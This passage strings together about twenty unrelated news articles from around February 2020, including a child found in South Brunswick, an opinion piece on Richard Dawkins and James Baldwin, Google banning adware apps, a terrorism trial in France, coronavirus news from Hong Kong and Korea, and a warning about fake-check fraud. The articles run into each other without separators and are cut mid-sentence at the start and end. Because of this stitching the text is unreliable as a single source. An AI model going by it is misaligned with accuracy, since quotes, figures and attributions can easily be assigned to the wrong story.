a big hug. We had dozens of police, firefighters, EMS searching along with a helicopter, but it was the use of our Nixle system combined with Mr. Syeds actions that finally found him, South Brunswick police Chief Raymond Hayducka said. By the time Syed started his search, police had been looking for Ethan for more than an hour using helicopters and bloodhounds. It took Syed just 15 minutes to locate Ethan using only a flashlight and his voice. "This was the outcome we had all hoped for. By using our Nixle system we expanded our searchers from 50 to 29,000 and we found him. We all knew with the falling temperatures and the amount of time he had been missing, time was of the essence, Hayduka said. Ethan was uninjured in the ordeal, just very cold, Nikia Olivacce said. He was warmed up with soup and hot chocolate before heading to bed. A spokesman for Nixles parent company, Everbridge, said he was happy its software helped locate Ethan. We applaud the fine police work displayed by South Brunswick PD and the vigilance of the community member who helped reunite this child with his family, Brian Toolan, director of government strategy, said. Syed, a 40-year-old father of young children who has lived in South Brunswick for less than two years, was modest when speaking about his efforts. It was convenient, a bit chilly, but going around the block didnt seem like a big deal, he told NJ Advance Media. Syed wasnt around to meet the Olivacces Wednesday night, but Nikia Olivacce says she thanks him from the bottom of her heart. "Just the appreciation for him for stepping out for someone who is a stranger, someone else child that he doesnt even know... Nikia Olivacce Thats the main thing that touched me, it was late and he stepped out, looking in the cold. Syeds actions are emblematic of the tight-knit community as a whole, she said, adding that many of her friends reached out to help look for Ethan. As for Syed, he urged his neighbors to register for Nixle, saying, Police have a lot of things to share and you never know if you can help. Katie Kausch may be reached at kkausch@njadvancemedia.com. Follow her on Twitter @KatieKausch. Find NJ.com on Facebook. Have a tip? Tell us: nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. They can, but for examples we must look to James Baldwin and Stephen Hawking, not the enlightened Richard Dawkins. Richard Dawkins once again ignited controversy on Twitter when he tweeted about the possibility of eugenics, arguing that even if eugenics were practically possible, it could still be morally reprehensible, and that these are two separate matters. As someone who fancies himself an Enlightened free thinker of a higher moral and ethical standing than religious believers, Dawkins failed to note that even the possibility of eugenics would necessarily open up a discussion about desirable and undesirable qualities in humans which would entail fundamentally unethical and supremacist value judgments. His separation between is and ought, however, raises larger questions about ethics and epistemology or how knowledge is conceived and the role of public intellectuals in shaping our discussions on these matters. How do we grapple with questions at the intersections of theology, ethics, and critique and how do belief or non-belief come to bear on these questions? The Indian Muslim poet-philosopher Muhammad Iqbal, best known for theorising the idea of Pakistan (an anachronism which has unfortunately eclipsed his voluminous intellectual output) lamented at length over the fallen and defeated conditions facing his fellow Muslims, whom he felt had lost their way in modernity. Flustered by the fatalism and passivity which he believed had overtaken the global Muslim ummah, he issued a clarion call asking them to conceive of themselves as co-creators of their destinies with God. He radically reworked traditional literary symbols, such as Satan (the embodiment of evil), recasting him as a progenitor of world events. One of his most famous poems was called the Shikwa, a complaint to God and a critique of religion as a believer: My urge to speak emboldens me to talk in language plain // Impudent and audacious me! To God I dare complain! A few decades after Iqbal, thousands of miles away, another impassioned writer was identifying the oppression of his people and articulating their struggles into a pungent language that could serve as a roadmap towards freedom. He, too, was troubled by traditional institutions, aiming to break the chains both literal and figurative of his oppressors. The black American writer James Baldwin was deeply traumatised by the centuries-long crimes perpetrated by the Christian Church against his people. He was intimately aware of how theology was used to rationalise essentialist notions of racial supremacy and how these notions were built into the very mythos of the United States. Much of his oeuvre reflects the struggles of a man grappling with questions of theodicy. And grapple he did. At the same time, he remained acutely aware of the emancipatory potential of black religion. In The Fire Next Time, he writes: If the concept of God has any validity or any use, it can only be to make us larger, freer, and more loving. If God cannot do this, then it is time we got rid of Him. Iqbal was an Indian Muslim under the yoke of British imperialism, and Baldwin a black atheist born into American racial apartheid. Despite these divergent contexts, they were both pained by the contradictions of modernity, troubled by traditional authorities, and most crucially, wrestling with God. And yet it was precisely such tensions that eventually canonised them in their respective Islamic and black radical intellectual traditions. It is possible to draw from them both one as a believer and the other as a non-believer because their critique was imaginative, expansive, and ethical. This is contrary to the modus operandi of the self-professed enlightened Richard Dawkins. Of course, enlightenment is not a neutral designation but one that has a contested intellectual genealogy, a multitude of streams, and is subject to rigorous debate, both as a concept and a process. At Columbia University, where I am a student of Islamic Studies, I have studied with scholars who view Enlightenment modernity as having uniquely inaugurated the conditions that have brought unprecedented violence and ecological disaster upon the world, and I have studied with scholars who view it not as a singular project, but as one that came in indigenous multitudes, and whose premises and promises constitute a novel process towards human ingenuity and emancipation. I count both groups of scholars among my mentors. They include the likes of Talal Asad, the world-renowned cultural anthropologist famous for offering a critical exposition of secularism as a neutral and universal category; and Wael Hallaq, the worlds pre-eminent scholar of Islamic law, who argues that the premodern moral makeup of the sharia is fundamentally incompatible with the violence necessary to sustain modern forms of post-Enlightenment political arrangements. Then there is Hamid Dabashi, the prolific post-colonial theorist who has argued that modernity is not the provenance of Europe, but rather comes in multiplicities that vary across time and space, and that all human beings have a place in it. And Sudipta Kaviraj, a leading Indian intellectual historian who has written about the noble Indian quest for freedom and its experiment with modernity as a unique and ongoing process whose completion we have yet to see. While each of them would certainly disagree with one another on substantive, even fundamental issues, the one thing they share is a deep commitment to the advancement of knowledge and the human condition. The point of all this is to say that the wellspring of human knowledge is vast, contradictory, and ongoing and one can draw wisdom from all of it. The word of wisdom is the lost property of the believer, the Prophet Muhammad is attributed to have said. Wherever he finds it, he is most deserving of it. Could the New Atheists engage with their arguments and bring them to bear on their own approach to the world? Can its proponents make a case for atheism without devolving into bigotry? Can their non-belief offer ethical critique of the world as it is? James Baldwin provided one avenue, but are there others? One can perhaps look to the late Stephen Hawking. He also attempted to argue against the necessity of God through scientific reasoning. Like Dawkins, he was a scientist, but he cannot be categorised with New Atheists because fervent as he was, he never conjoined his argument to stale reductionism, totalising civilizational discourse, or anti-religious bigotry. Hawking propounded what he called model-dependent realism, i.e. an approach to reality based on the idea that human beings interpret the real, physical world by constructing mental models (including metaphysical ones) to understand and explain events. For Hawking, the human story was an ongoing process of newer models adding on to older ones. Seeking to find the Grand Theory of theories, he hypothesized a theory of everything: M-theory, which he believed defied the need for a Divine Maker and Mover. Hawking, at the same time, was deeply concerned about the future of humanity. More recently, we can turn to the philosopher Martin Hagglund, whose book makes an impassioned case for secular faith which, at its logical conclusion, leads to the most ideal life via socialism. It is precisely because of his non-belief that the urgency to act justly in the world becomes all the more necessary. For Hagglund, it is our very mortality and transience that makes life worth fighting for, not the promise of a heavenly hereafter. It is in the here and now, in this world, where we find and make meaning. In order to do that, we must first engineer the material conditions to maximise our time so we can pursue our true calling. For Hagglund, socialism born out of secular faith provides the answer. I am not here to make a case for religion per se nor a case against atheism as such. And it is immaterial to my point whether or not I agree with the arguments put forth by any of the above thinkers. Iqbal shows us that one can be critical of ones own religious tradition. My Columbia professors show that critique itself takes a multitude of shades. Baldwin, Hawking, and Hagglund show us that atheism can be critical of belief without the fallacious reasoning of New Atheists. Whether one agrees or disagrees with the arguments put forth is another discussion altogether. Intellectual confidence and intellectual humility need not be mutually exclusive. The pantheon of thinkers that precede us offer a rich reservoir of knowledge to draw from and the courage to pursue new means towards the unfolding of our human story. Whether one is a social scientist or a natural scientist, a critic of the Enlightenment or a supporter, a believer or an atheist, writing the human story is an endeavour towards which we all have something to offer. The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial stance. Turkish President Recep Tayyip Erdogan called for "concrete action" to prevent a crisis in Syria's last rebel stronghold in a phone call with his French and German counterparts, his office said Friday. "The president stressed the need to stop the aggression of the regime and its supporters in Idlib, and emphasised the importance of providing strong support through concrete actions to prevent a humanitarian crisis," the presidency said following the call with German Chancellor Angela Merkel and French President Emmanuel Macron. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) STOCKHOLM, Feb. 21, 2020 /PRNewswire/ -- Electrolux has the pleasure of inviting investors, financial analysts and media representatives to an Investor Day hosted by Electrolux Professional in Stockholm on March 11, 2020. The event will be hosted by Alberto Zanata, President and CEO of Electrolux Professional, together with parts of the management team of Electrolux Professional. The Investor Day will provide a review of the company's strategy, financial development and goals, and a description of products, production and markets. The event will take place at IVA Conference Centre, Grev Turegatan 16, Stockholm between 10.00 and 14.30. Please register for the Investor Day through Jacob Broberg, SVP IR and Corporate Communication at Electrolux Professional: [email protected]. CONTACT: For further information, please contact Jacob Broberg, Electrolux Professional, +46 70 190 0033. This information was brought to you by Cision http://news.cision.com https://news.cision.com/electrolux/r/invitation-to-investor-day-with-electrolux-professional,c3040680 The following files are available for download: SOURCE Electrolux Related Links https://www.electrolux.com (Photo : Photo by Mitchell Luo on Unsplash) Google has recently removed nearly 600 "disrupting" mobile apps from the Play Store and banned their respective developers in their most recent initiative to lead in mobile ad scam. This was announced by the company early today. Google's policy does not permit ads that display when a particular app is not in use, or that deceive users into clicking on ads by mistake. In a blog post-Google senior product manager Per Bjorke wrote for the company, it defined a disrupting ad if this particular ad "is displayed to users in unexpected ways," like interfering with or impairing the device's efficient functions and usability. Specifically, it is a disruptive ad if it appears like a full-screen advertisement popping up while a phone call is ongoing, or a user is navigating his mobile phones' apps. ALSO READ: Street View Imagery of Google Now Covers 10 Million Miles, The Company Announces Preventing Malicious Developers from Continuing to Become More Savvy In addition to what Bjorke said about the banning of the hundreds of Android apps on Google Playstore, he also noted that "the company had developed a 'machine-learning-based strategy' to help it trace further," obnoxious ads in apps, leading to today's extensive bans. The company official also said malicious developers keep on becoming savvier as they deploy and mask disruptive ads. However, Bjorke shared, Google developed new technologies of its own to shield against such behavior. The majority of the apps that were discovered violating were made by developers from China, Singapore, and India, and most were targeted at users who were English-speaking. Meanwhile, Cheetah Mobile, which Google identified as a repeat offender, had over 40 of its apps pulled out from the Play Store in this most recent series of bans. According to Bjorke, it appeared that the offending developers shared the same tactics to evade detection. However, he said he did not know if this similarity in strategy was a coordinated initiative. Relatively, Google is set to offer funds to brands with ads that are affected by the disrupting pop-ups. ALSO READ: Google Co-Founders Stepping Down as Alphabet Execs, Plan to Stay as Board Members Not a First Time for Google to Ban Apps This is not the first time for Google to ban apps on its mobile platform, although today's banning action seems to be its "biggest sweep of ad fraud offenders at present." During the second half of last year, Google banned CooTek, another Chinese developer, for using adware plugin that would send users aggressive advertisements on their mobile even when a specific app was not in use. This was first reported on BuzzFeed, after Lookout investigated the said developer, showing hundreds of CooTek applications that used an offensive adware plugin named BeiTaAd. The said plugin allegedly sent aggressive ads or promotions to users when their mobile phone or the app was currently being used. This, Kristina Baalam, a researcher at Lookout said, it could render the phones almost unusable. In response to the said investigation, CooTeck committed to taking out BeiTaAd. However, the company discovered afterward that, a lot of the updated apps which Google reportedly accepted into the Play Store, had a separate code for a content that enabled similar obnoxious ads. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. The trial has opened before a special criminal court of Reda Hame, the French jihadist known to have associated in Syria with one of the masterminds of the Bataclan killings. Thirty-four-year-old Hame is accused of "taking part in a criminal group with a view to perpetrating a crime which would endanger the lives of others". The accused spent little more than a week in Syria in June 2015. During that time, he claims he was approached by Abdelhamid Abaaoud, one of the killers who opened fire with a machine gun on the crowd attending a concert at the Bataclan venue in central Paris in November, 2015. One hundred and thirty people lost their lives at several venues on the same night, victims of three coordinated attacks. Hame claims that Abaaoud asked him if he would be prepared to open fire on a crowd of people, if someone else could provide the necessary weapons. Hame says that he accepted the mission, and training in the use of the kalachnikov automatic rifle, only so that he would be allowed return to France. He says he never had any intention of committing such a crime. Invaluable information for investigators Hame was arrested in August, 2015, shortly after his return to France from Syria. He has spent the past five years in police custody. A former computer technician, Reda Hame is said to have provided investigators with invaluable information on the organisation of the Islamic State terror group in Raqqa, in central Syria, as well as providing details of planned attacks. "It was a factory in which they churn out ideas for attacks, in France, in Europe," he told investigators just before the 13 November massacre. "All I can tell you is that something is going to happen very soon." The trial continues with a psychological evaluation of the accused. A Canadian dollar coin, commonly known as the "Loonie", is pictured in this illustration picture taken in Toronto By Fergal Smith TORONTO (Reuters) - The Canadian dollar strengthened on Friday against its U.S. counterpart, adding to this week's gains as investors speculated that the coronavirus outbreak would not cause long-lasting damage to the global economy. At 3:10 p.m. (2010 GMT), the Canadian dollar was trading 0.1% higher at 1.3249 to the greenback, or 75.48 U.S. cents. The currency touched its strongest intraday level since Feb. 3 at 1.3236. For the week, the loonie was up 0.4%. "The broader markets are still believing that China has got this (the spread of the coronavirus) under control," said Erik Bregar, head of FX strategy at the Exchange Bank of Canada. "It has created a mild risk-on environment and that benefits the Canadian dollar." Canada is a major exporter of commodities, including oil, so the loonie tends to be sensitive to prospects for global economic growth. U.S. crude oil futures settled 1.2% higher at $52.05 a barrel as investors bet the economic impact of the virus would be short-lived and hoped for further Chinese central bank stimulus to tackle any slowdown. Canadian home sales fell 2.9% in January from the previous month but were up 11.5%, not seasonally adjusted, compared to January 2019, the Canadian Real Estate Association said. Canada's Liberal government said it was deeply concerned about protests by aboriginal activists that are blocking some key railway lines but rejected a call to send in the police. Canadian government bond yields were lower across a flatter yield curve in sympathy with U.S. Treasuries after a mixed U.S. retail sales report for January. The 10-year yield fell 3.1 basis points to 1.363%. Canadian markets will be closed on Monday for the Family Day holiday. (Reporting by Fergal Smith; Editing by David Gregorio; Editing by Marguerita Choy) Share this article Whatsapp Facebook Twitter Linkedin News Desk (Reuters) Hong Kong Fri, February 21, 2020 11:06 691 7f440ff09e92db75a02bbad2065c3cd4 2 World coronavirus,Wuhan-coronavirus,Hong-Kong,infectious-diseases,outbreak Free A Hong Kong police officer has been confirmed infected with the coronavirus, authorities said on Friday, the first officer to test positive in the Asian financial hub as dozens of other officers were quarantined over concerns of contagion. The 48-year-old officer had attended a banquet with 59 other police in the city's western district on Feb 18. Everyone who attended is now quarantined, according to a statement on the official Facebook page of the Hong Kong Police. "The police are highly concerned about the incident and are actively cooperating with the Department of Health," the statement said. Hong Kong has 69 confirmed cases of the virus and two deaths so far. Recent virus cases have included a fast food restaurant worker and a taxi driver, both of whom were exposed to many other people, authorities said. Local lawmakers are expected to discuss a HK$30 billion (US$3.85 billion) relief package on Friday to support small- and medium-sized businesses and the Hospital Authority, which are struggling to cope with the outbreak. The former British colony's economy has been hit hard as tourist arrivals slump and residents keep away from shops, miring the city in its first recession in a decade. Leader Carrie Lam's handling of the crisis has stirred anger, with critics calling on her to close the entire border with mainland China and some medical workers going on strike. Lam has said a full shutdown of the border would be impractical, inappropriate and discriminatory. More than 100 Hong Kong residents who were passengers on the virus-stricken Diamond Princess cruise ship in Japan are expected to return to Hong Kong on government charter flights on Friday night or Saturday. The first batch of 106 passengers arrived in the Chinese territory on Thursday. Authorities said 66 of the 364 Hong Kong residents on the ship were infected with the coronavirus, SARS-CoV-2. They will remain in Japan along with 41 other citizens who were in close contact with them. HARBOR BEACH Public safety was the topic of discussion during the Harbor Beach City Council meeting Feb. 18, when the annual reports were delivered by the local fire and ambulance departments. During his presentation, Fire Chief Jason Lermont told council members his organization has 24 members. The fire department answered 144 calls, which total approximately 4,459 man hours last year. He said the departments response time was very good with an average of less than two minutes per call. The department gave mutual aid to other fire departments 11 times, and they were given mutual aid 12 times. This past year, the firefighters received a total of 1,122 man-hours of training. The fire department started the year with an insurance rating of five. This would be considered outstanding for a volunteer fire department. Yet, they lowered that rating to a four. Thats pretty much unheard of, Lermont said. Eastern Huron Ambulance Service Manager Warren Ramsey discussed the local ambulance service. He told the council there are between 23 and 24 volunteers working for the service. They handled 702 calls in 2019, which was down from 823 calls in 2018. Ramsey said the service makes many transfers each year. Approximately 36% of these go to the Harbor Beach Community Hospital. 6% of the transfers go to Bad Axe, 13% to Saginaw, and about 13% to Port Huron. In addition, Eastern Huron transfers patients to other parts of the state. He expects they will need a new vehicle in the near future, and they are putting funds aside at this time to pay for it. He pointed out the ambulance service drives many miles each year. Last year, we put 93,000 miles on our vehicles, Ramsey said. He finished by telling the council the service had its annual state audit earlier that day. We passed with flying colors, he said. While dealing with new business, the council agreed to hire Michigan AgriBusiness Solutions LLC to haul biosolids at the Harbor Beach Waste Water Treatment Plant. It was pointed out company put in the lowest bid, and it has been working for Harbor Beach the past three years. State law requires public hearings be scheduled to discuss municipalities' budget and millage rates. Therefore, council scheduled a public hearing for March 2 for the purpose of discussing adopting of the citys 2020-21 budget and proposed millage rate. The public hearing will take place at 7 p.m. during the regular city council meeting. Council accepted the Wood Contracting LLC bid to install the seawall at the Harbor Beach Marina. The company bid $39,500 and it was the lowest to be received by the city. In addition, the city agreed to purchase sheet piling and tie backs for the job from Nucor Skyline Steel LLC at a cost of $24,342.68. As required by law, the Harbor Beach City Council established poverty guidelines for the city to determine eligibility requirements for residents applying for poverty exemptions. This is an annual process, dating back to November 2006. A partial list of income levels under the poverty levels follows: family unit of one must meet a poverty guideline of $12,490, a family unit of four must meet a poverty guideline of $25,750, and a family unit of eight must meet a poverty guideline of $43,430. For each additional person, the guideline increases by $4,420. In addition, council approved application procedures for property tax relief under the 2020 poverty guidelines. During council reports, Mayor Gary Booms told the council and audience he has fielded several questions about the trees that are being removed in the downtown area. He said many of the trees were not in good shape. Some had grown too large, and they were growing into the steel grates in which they were planted. He went on to say Harbor Beach City Council has been discussing this matter for several years. Its plan is to plant new trees at every-other grate. Those grates not filled with a new tree will hold a large planter with flowers planted annually. Before ending the meeting, Booms said the new Harbor Beach visitor guides were now available at city hall and at the visitor center. The next Harbor Beach City Council Meeting is scheduled for March 2 at 7 p.m. US concerns about the UK's decision to grant Huawei a role in building Britain's 5G network will be raised during Brexit trade talks between the two sides, it has been claimed. A delegation of US officials met with UK counterparts in Number 10 yesterday and reportedly made clear that the two issues could be linked. A source told The Telegraph: 'The Americans impressed upon us that the free trade agreement is going to have to be part of this Huawei discussion.' Boris Johnson, pictured during a Cabinet meeting last week, announced at the end of January that Huawei would be granted a limited role in the UK's 5G network That decision sparked US fury with senior allies of Donald Trump, pictured at a rally in Phoenix on Wednesday, making clear the decision will impact intelligence sharing However, Downing Street dismissed that version of events and said it was not true that the US delegation had said the Huawei row would have a bearing on trade negotiations. Boris Johnson announced at the end of January that the Chinese tech giant would be granted a limited role in the UK's 5G network. The decision sparked fury in the White House because the US administration has urged its allies not to do business with Huawei because of security concerns. Those concerns have always been rejected by Huawei but the US has made clear that allowing the company a role will impact on intelligence sharing with the UK. The Huawei row is one of a number of points of conflict to have emerged between the UK and US in recent months. And in a sign of potential tension between the two allies a widely-expected US visit by Mr Johnson in the spring has now reportedly been cancelled. The PM spoke to Mr Trump last night and the pair agreed to see each other in June. A Downing Street spokesman said: 'The Prime Minister and President Trump spoke this evening and discussed a range of bilateral and international issues. 'The leaders reiterated their commitment to the UK-US relationship and looked forward to seeing each other at the G7 Summit in the United States in June.' It had been thought Mr Johnson could travel to the US in March to meet with Mr Trump. Mr Johnson is facing a mounting backlash from his own MPs over the Huawei decision. Senior Tory figures have demanded ministers act on 'deadly serious' warnings from the US about restricting intelligence sharing. A delegation led by Mr Trump's acting chief of staff Mick Mulvaney (above right) met with key No 10 figures yesterday to discuss Huawei Owen Paterson, the former Cabinet minister, said the government's attitude to the Chinese tech giant was 'incomprehensible' given White House opposition to using the firm. Mr Paterson is one of many Conservative MPs who are urging Downing Street to reverse its backing for Huawei. Mr Trump's acting chief of staff had crunch talks with Number 10 officials on Huawei yesterday. Mick Mulvaney is understood to have led a delegation of US officials in a meeting with UK counterparts including Sir Edward Lister, one of Mr Johnson's top advisers. The meeting came after Mr Mulvaney told an event on Wednesday night that the UK's 5G decision on Huawei will have a 'direct and dramatic impact' on intelligence sharing with the US. Ill let you in on a little secret about media coverage of prime-time political debates: What happens in the first half, even the first quarter, gets much more attention than what happens as the night drags on. We all have deadlines bearing down on us and must produce our stories immediately after the debates end, so we start formulating thoughts and fashioning sentences before then. If there are fireworks early in the event, we say a cheer of gratitude and let them light up our commentary. So it was with Mike Bloombergs miserable performance in Las Vegas. He established his awfulness right off the bat. We ran with it. I know I did. But in the case of this debate, what happened at the bitter end was probably most meaningful. All six candidates onstage were asked to envision a situation utterly plausible this year in which none of them went into the Democratic convention in Milwaukee in July with a majority of pledged delegates and, therefore, an unequivocal claim to the nomination. Should the politician with a plurality of delegates be the nominee? Only Bernie Sanders, who currently has the best shot at being that person, said yes. The others said no. That would mean a brokered convention, in which the votes of uncommitted superdelegates or alliances formed among certain candidates are necessary to put someone over the top. And it would be a nightmare scenario for the Democratic Party, which is deep into a bad dream already, because it would invite further cynicism, second-guessing, cries of illegitimacy and irresolution in a country thats paralyzed by all of that. Chairman of the Peoples Committee of Hanoi Nguyen Duc Chung pledged to create the best possible conditions for Japans Uniqlo company to do business in the city, during a reception on February 20 for Uniqlo Vice President Koyama Noriaki. Chairman of the Peoples Committee of Hanoi Nguyen Duc Chung (R) hosts a reception for Uniqlo Vice President Koyama Noriaki in Hanoi Chung said considering the popularity of Uniqlo, the arrival of the brand to Hanoi is great news for local people. Expressing support for the Japanese companys target and development orientations in Hanoi and in Vietnam in general, the Hanoi leader agreed that the two sides will continue with discussion to reach a cooperation deal between the Hanoi Peoples Committee and Uniqlo. He suggested that the company consider working with Vietnamese textile-garment companies to produce goods. The Uniqlo executive informed his host that the companys first store in Hanoi, the biggest in Southeast Asia, will open in early March. In the context of the COVID-19 epidemic, the company will ensure a safe shopping environment, he said. According to Koyama, the company plans to open at least three stores in Hanoi during this year, and plans to work with local universities to recruit employees. The same day, the Chairman of Hanoi Peoples Committee hosted a reception for Malaysian Ambassador to Vietnam Dato Shariffah Norhana Syed Mustaffa./.VNA Japanese fashion giants see new frontier in Vietnam Japanese fashion brands are swooping into Vietnam as local consumers become more brand-sensitive as they grow prosperous. Houston billionaire Tilman Fertitta plans to acquire The Palm steakhouse chain out of bankruptcy in a deal worth at least $50 million, further expanding his business empire. Fertitta, who also owns the Houston Rockets, said on Friday he has signed a purchase agreement to acquire the iconic restaurant chain, whose Naples, Fla.-based licensing company filed for Chapter 11 bankruptcy last year. The deal, expected to close in mid-March, is pending final approval from the U.S. Bankruptcy Court for the Middle District of Florida. PIERRE | Ingesting illegal drugs will remain a felony in South Dakota after the Senate Judiciary Committee defeated a bill to make it a misdemeanor. SB115 would have made the first offense a Class 1 misdemeanor, the second offense within 10 years would have mandatory jail time and a third offense within 10 years would be a Class 6 felony. Currently ingesting is a Class 5 or Class 6 felony depending on the drug. This bill, I believe, is absolutely consistent with Gov. Noems request that legislators try to deal with the methamphetamine issue were having throughout South Dakota, said the bills sponsor, Sen. Craig Kennedy, D-Yankton. Kennedy said that South Dakota has more than 350 prison inmates serving sentences for ingesting, many of them in the womens prison which is full. According to Legislative Research Council figures, passing SB115 would save the state $23 million over 10 years and counties $7.6 million over 10 years. Once the prison sentence is done, Kennedy said, its almost impossible for a former inmate to get a job, find a place to live or get a bank loan. Weve created a mountain that almost no one can climb, he said. You cannot incarcerate your way out of this problem. Justin Bell, representing the S.D. Association of Criminal Defense Attorneys, said South Dakota is the only state that handles ingestion as a felony. It doesnt work to put people in prison for ingestion charges, Bell said. You make a better criminal. Opposing the bill was Attorney General Jason Ravnsborg, who noted that a felony conviction is required to take part in the states drug court program. It delays treatment, Ravnsborg said of SB115. Dick Tieszen, representing the S.D. Sheriffs Association, told the committee that the threat of a felony is one way for law enforcement to get an addict to tell them where the drugs are coming from. Its a valuable tool, Tieszen said. Please dont take it away. Changing ingestion from a felony to a misdemeanor was the equivalent of ignoring the states drug problem, Tieszen said. Thats the ostrich approach to the problem, he said. Its not a felony crime, so its not a problem. On a 5-2 vote, the committee endorsed a motion to move the bill to the 41st legislative day, a tactic that kills legislation. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 South Korean President Moon Jae-in agreed in his telephone conversation with Chinese President Xi Jinping on Thursday to strengthen cooperation between the neighboring countries in a desperate fight against the novel coronavirus pandemic, according to Cheong Wa Dae. They also agreed to share relevant clinical experiences of their countries, in addition to close partnership between their quarantine authorities, Cheong Wa Dae spokesperson Kang Min-seok said in a press briefing. Xi proposed the sharing of such clinical data, which he said China has accumulated via its monthlong battle against COVID-19. Moon replied that South Korea expects a joint response with China to the deadly virus, including the exchange of the information to be of help to his government's quarantine measures, Kang said. During the 32-minute conversation, Moon expressed his condolences over the deaths of Chinese patients. Moon said he expects China to overcome the outbreak with the unified power of its people. He then requested continued interest and support for South Korean residents and companies in China. Xi thanked Moon for South Korea's support in connection with the outbreak, saying a friend in need is a friend indeed. Xi told Moon that he was very impressed by Moon's statement that China's suffering is also South Korea's suffering. Xi added that the two neighbors are cooperating to ride out the current adversity together "in one mind." Despite the unexpected virus, Xi reaffirmed his plan to push for a visit to South Korea in the first half of this year as agreed. The two leaders agreed to let diplomatic authorities consult on specific schedules. On regional security, Moon and Xi stressed that what's most urgent is that North Korea and the United States resume dialogue and that the two sides should "patch up their differences" over denuclearization. Xi threw his weight behind Moon's recent message on peace on the Korean Peninsula. Moon emphasized that inter-Korean cooperation would facilitate Washington-Pyongyang negotiations. It marked their fourth phone conversation as leaders of the Northeast Asian powers. They last met each other on Dec. 23, 2019, during Moon's visit to Beijing. Earlier in the day, South Korea reported its first death linked with the coronavirus. The total number of people here infected with the disease has soared to 104 as 53 new cases were added on Thursday. (Yonhap) Trump expected to fix elusive Westinghouse-NPCI deal US President Donald Trump has made greater market access for US products in India, ranging from nuclear reactors to motorcycles and farm goods, is expected to kick-start the long-pending civil nuclear cooperation projects during his visit to India. While Trump said he will reserve a bigger trade deal with India for the future, the US President has made market access a top priority in bilateral trade. While negotiators are trying to put together a limited trade deal before a bigger agreement, Trump said a trade deal will probably happen after the US presidential elections. The US President, who himself is a businessman, will seek timelines for the supply of Westinghouse reactors while also addressing concerns raised by Indias nuclear liability law. Westinghouse is expected to sign a new agreement with state-run Nuclear Power Corporation of India (NCPI) for supply of six nuclear reactors, in what would be a fresh lease of life for the ailing US energy company. The United States has been discussing the sale of nuclear reactors to India ever since the 2008 landmark civil nuclear energy pact that opened up the market for nuclear power reactors in India. While the Indian law requires equipment suppliers to be liable to bear the cost in case of an accident, the United States has been insisting that such costs should be borne by the operator rather than the maker of a nuclear power station. Also, there were concerns after Westinghouses plans to supply the AP1000 reactors to India at a time when it filed for bankruptcy in 2017 after cost overruns on US reactors. Canadas Brookfield Asset Management bought bankrupt Westinghouse from Toshiba in August 2018. The United States now wants an agreement between Westinghouse and the lead Indian contractor laying out timelines and the and also addressing irritant clauses in Indias nuclear liability law. Representatives from US energy and commerce departments, Westinghouse, the US-India Strategic Partnership Forum and The Nuclear Energy Institute were in India last week for talks with government officials to iron out differences over liability clause in order to promote nuclear exports to India. India, however, has been firm on its stand on the 2010 Civil Liability for Nuclear Damage law that foreign governments and vendors see as a hindrance for suppliers by leaving open the possibility of lawsuits in case of nuclear accidents. The Indian government has tried to limit the impact of the law by setting up an insurance fund for potential victims of a nuclear accident. But that, according to US government officials, still leaves issues around the liability open. Con artists favor these payment methods because once the money is sent, the F.T.C. said, it is almost impossible to trace or reverse. Ms. Vaca said the criminals create an illusion, adding: You have a check in your hand, then a deposit in your bank account. It doesnt look fake. It feels completely risk free. In one account detailed in a Better Business Bureau report in 2018, a student in Oakland, Calif., received an offer at her college email address. The very professional looking message said she could earn $250 a week by driving her car around after having it wrapped with an ad for Mountain Dew. (Banks have issued warnings about shrink wrap scams involving beer and energy drink brands.) She took the job to help pay her tuition, and received a check in the mail for $4,850 ostensibly to pay for the wrap job. She deposited the check and the next day was able to withdraw $3,500, which she redeposited as instructed into a separate bank account held by the car specialist. The student grew suspicious, however, when she received a text message telling her to withdraw an additional $500 and put it on an iTunes gift card, and she reported the situation to the police. The criminals bank account had been closed, and the money was gone. Her own bank demanded that she repay the $3,500, so she agreed to an installment plan to pay off her losses. Think you wouldnt fall for it? Think again. People fall prey to schemes because of optimism bias, a bureau report found; they think typical victims are older, gullible or even stupid and dont see themselves that way. In truth, the Better Business Bureau report noted, we are all vulnerable. Here are some questions and answers about fake check fraud: If the check was fake and I was a victim, why do I have to repay my bank? Customers are responsible for bounced checks because they are generally in the best position to evaluate whether a check they deposit is legitimate, said Nessa Feddis, senior vice president at the American Bankers Association. COLUMBUS, Ohio A 17-year-old suspect in a fatal shooting was killed Thursday after he opened fire on SWAT officers attempting to take him into custody, according to reports. Joseph Jewell was taken to Riverside Methodist Hospital after the shooting at hotel in the northern part of the city but he died of his wounds, WCMH Channel 4 reports. Authorities had a warrant for Jewells arrest in connection with the shooting death of Erique Forney Jr., 17, on Tuesday night outside an apartment complex, WBNS Channel 10 reports. WBNS repots police received a tip was at the Magnuson Grand Columbus North Hotel. Police say SWAT officers knocked on the door of Jewells room at about 5 p.m. and announced they were outside, WCMH reports. Jewell opened the door and immediately opened fire, police say. Officers returned fire, hitting Jewell, according to WCMH. No officers were injured in the shooting. ABC 6 reports the three officers who returned fire will be placed on administrative leave during the investigation of the shooting. More crime-related content on cleveland.com: Akron man gets 20 years in prison for having sex with underage teen he met online Man was driving 80 mph before head-on crash that killed two in Cleveland, police say Richmond Heights man killed behind the wheel in Clevelands Euclid-Green neighborhood Dismembered burning body found in Cleveland is missing head, hands and feet, sources say Former NASA scientist, nuclear submarine officer faces prison for fatal high-speed drunken driving crash in Cleveland Heights Source: Xinhua| 2020-02-21 17:33:03|Editor: xuxin Video Player Close SHANGHAI, Feb. 21 (Xinhua) -- Shanghai on Friday rolled out a guideline for the municipality's A-grade tourist attractions to combat the novel coronavirus epidemic. The municipal administration of culture and tourism issued the guideline with 30 detailed measures. Tourist attractions will reopen gradually depending on the city's epidemic prevention and control situation. Temporary isolation spots should be set up and materials such as facial masks, gloves, medical alcohol and disinfectant should be prepared in scenic areas, according to the guideline. Tourist attractions are also required to monitor employees' physical and mental health. The scenic spots are encouraged to introduce an online pre-booking system and limit the flow of tourists. The daily maximum capacity should be halved, and relevant information should be made public, the guideline said. It also required body temperature tests for tourists at the entrances. Tourists whose body temperature is higher than 37.3 degrees will be advised to postpone their visits. Meanwhile, indoor venues should take stricter preventive and disinfection measures. Grand celebrations and gathering activities are suspended. Venues with wild animals should be closed during the 